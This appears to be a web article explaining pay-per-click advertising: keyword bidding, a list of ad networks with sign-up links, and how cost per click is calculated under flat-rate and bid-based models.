In a way, PPC advertising works like a silent auction. Advertisers place bids on keywords or phrases that they think their target audience would type in a search field when they are looking for specific goods or services. When a web user types a search query into the field of a search engine that matches the advertiser’s keyword list or visits a web page with content that correlates to the keywords or phrases chosen by the advertiser, the PPC ad may be displayed on the page. In search engines, a PPC ad is generally just above or to the right of the search results where they can be easily seen. On other kinds of websites, the ad will be placed in the location that the site designer has determined will be the most advantageous to his site and the advertiser.
To differentiate PPC ads from the natural search results displayed on a page, search engines will often place PPC ads under “Sponsored Ads” or “Sponsored Links” which also makes them easier to notice on a page that is crowded with text and other items competing for a web user’s attention.
Overall, PPC ads are beneficial to advertisers and web users alike. Advertisers get noticed by their target audience and are charged only for the times that their ads are clicked on and web users get to select from sites that may be relevant to the page they are viewing without having to deal with obnoxious banner or pop-up ads that flash and distract.
There are countless pay per click management services out there competing with each other but, without question, the heavyweights in PPC advertising are, in order:
1. Google Adwords
2. Microsoft adCenter
3. Google Adsense
4. Clicksense
The rates that these outfits charge for a PPC ad vary significantly depending on the popularity of the keyword or phrase. For example, if an advertiser wants a PPC ad targeted for the phrase ‘cottage cheese’, they can get prominent placement for their PPC ad with a very low bid and a low per-click charge. However, for a phrase such as ‘computer’, an advertiser can expect heavy competition for prominent placement and expect to pay premium per-click rates. It all comes down to supply and demand for the keywords and phrases that the advertiser wishes to target.
Pay per click ads also level the playing field like no other form of advertising. A small, web-savvy company can, with a limited budget, outbid much larger companies with enormous advertising budgets and gain the edge they need to get noticed in their market.
You Can join In Pay Per Click bellow is list PPC:

1) http://www.google.com/adwords
2) http://bidvertiser.com
3) https://www.widgetbucks.com/registra...ge?action=call
4) http://www.adsvert.com/
5) http://dclickads.com/webmasters_get_started.php
6) http://www.text-link-ads.com/

Purpose

Cost per click, along with cost per impression and cost per order, are used to assess the cost effectiveness and profitability of internet marketing. Cost per click has a big advantage over cost per impression in that it tells us something about how effective the advertising was. Clicks are a way to measure attention and interest. Inexpensive ads that few people click on will have a low cost per impression and a high cost per click. If the main purpose of an ad is to generate a click, then cost per click is the preferred metric. Once a certain number of web impressions are achieved, the quality and placement of the advertisement will affect clickthrough rates and the resulting cost per click.

Construction

Cost per click is calculated by dividing the advertising cost by the number of clicks generated by an advertisement. The basic formula is:

Cost per click ($) = Advertising cost ($) ÷ Ads clicked (#)^[1]

There are two primary models for determining cost per click: flat-rate and bid-based. In both cases the advertiser must consider the potential value of a click from a given source. This value is based on the type of individual the advertiser is expecting to receive as a visitor to his or her website, and what the advertiser can gain from that visit, usually revenue, both in the short term as well as in the long term. As with other forms of advertising targeting is key, and factors that often play into PPC campaigns include the target's interest (often defined by a search term they have entered into a search engine, or the content of a page that they are browsing), intent (e.g., to purchase or not), location (for geo targeting), and the day and time that they are browsing.

Flat-rate PPC

In the flat-rate model, the advertiser and publisher agree upon a fixed amount that will be paid for each click. In many cases the publisher has a rate card that lists the cost per click (CPC) within different areas of their website or network. These various amounts are often related to the content on pages, with content that generally attracts more valuable visitors having a higher CPC than content that attracts less valuable visitors. However, in many cases advertisers can negotiate lower rates, especially when committing to a long-term or high-value contract.

The flat-rate model is particularly common to comparison shopping engines, which typically publish rate cards.^[5] However, these rates are sometimes minimal, and advertisers can pay more for greater visibility. These sites are usually neatly compartmentalized into product or service categories, allowing a high degree of targeting by advertisers. In many cases, the entire core content of these sites is paid ads.

Bid-based PPC

The advertiser signs a contract that allows them to compete against other advertisers in a private auction hosted by a publisher or, more commonly, an advertising network. Each advertiser informs the host of the maximum amount that he or she is willing to pay for a given ad spot (often based on a keyword), usually using online tools to do so. The auction plays out in an automated fashion every time a visitor triggers the ad spot.

When the ad spot is part of a search engine results page (SERP), the automated auction takes place whenever a search for the keyword that is being bid upon occurs. All bids for the keyword that target the searcher's geo-location, the day and time of the search, etc. are then compared and the winner determined. In situations where there are multiple ad spots, a common occurrence on SERPs, there can be multiple winners whose positions on the page are influenced by the amount each has bid. The ad with the highest bid generally shows up first, though additional factors such as ad quality and relevance can sometimes come into play (see Quality Score).The predominant three match types for both Google and Bing are broad, exact and phrase. Google also offers the broad modifier match type.

In addition to ad spots on SERPs, the major advertising networks allow for contextual ads to be placed on the properties of 3rd-parties with whom they have partnered. These publishers sign up to host ads on behalf of the network. In return, they receive a portion of the ad revenue that the network generates, which can be anywhere from 50% to over 80% of the gross revenue paid by advertisers. These properties are often referred to as a content network and the ads on them as contextual ads because the ad spots are associated with keywords based on the context of the page on which they are found. In general, ads on content networks have a much lower click-through rate (CTR) and conversion rate (CR) than ads found on SERPs and consequently are less highly valued. Content network properties can include websites, newsletters, and e-mails.

Advertisers pay for each click they receive, with the actual amount paid based on the amount bid. It is common practice amongst auction hosts to charge a winning bidder just slightly more (e.g. one penny) than the next highest bidder or the actual amount bid, whichever is lower. This avoids situations where bidders are constantly adjusting their bids by very small amounts to see if they can still win the auction while paying just a little bit less per click.

To maximize success and achieve scale, automated bid management systems can be deployed. These systems can be used directly by the advertiser, though they are more commonly used by advertising agencies that offer PPC bid management as a service. These tools generally allow for bid management at scale, with thousands or even millions of PPC bids controlled by a highly automated system. The system generally sets each bid based on the goal that has been set for it, such as maximize profit, maximize traffic at breakeven, and so forth. The system is usually tied into the advertiser's website and fed the results of each click, which then allows it to set bids. The effectiveness of these systems is directly related to the quality and quantity of the performance data that they have to work with — low-traffic ads can lead to a scarcity of data problem that renders many bid management tools useless at worst, or inefficient at best.

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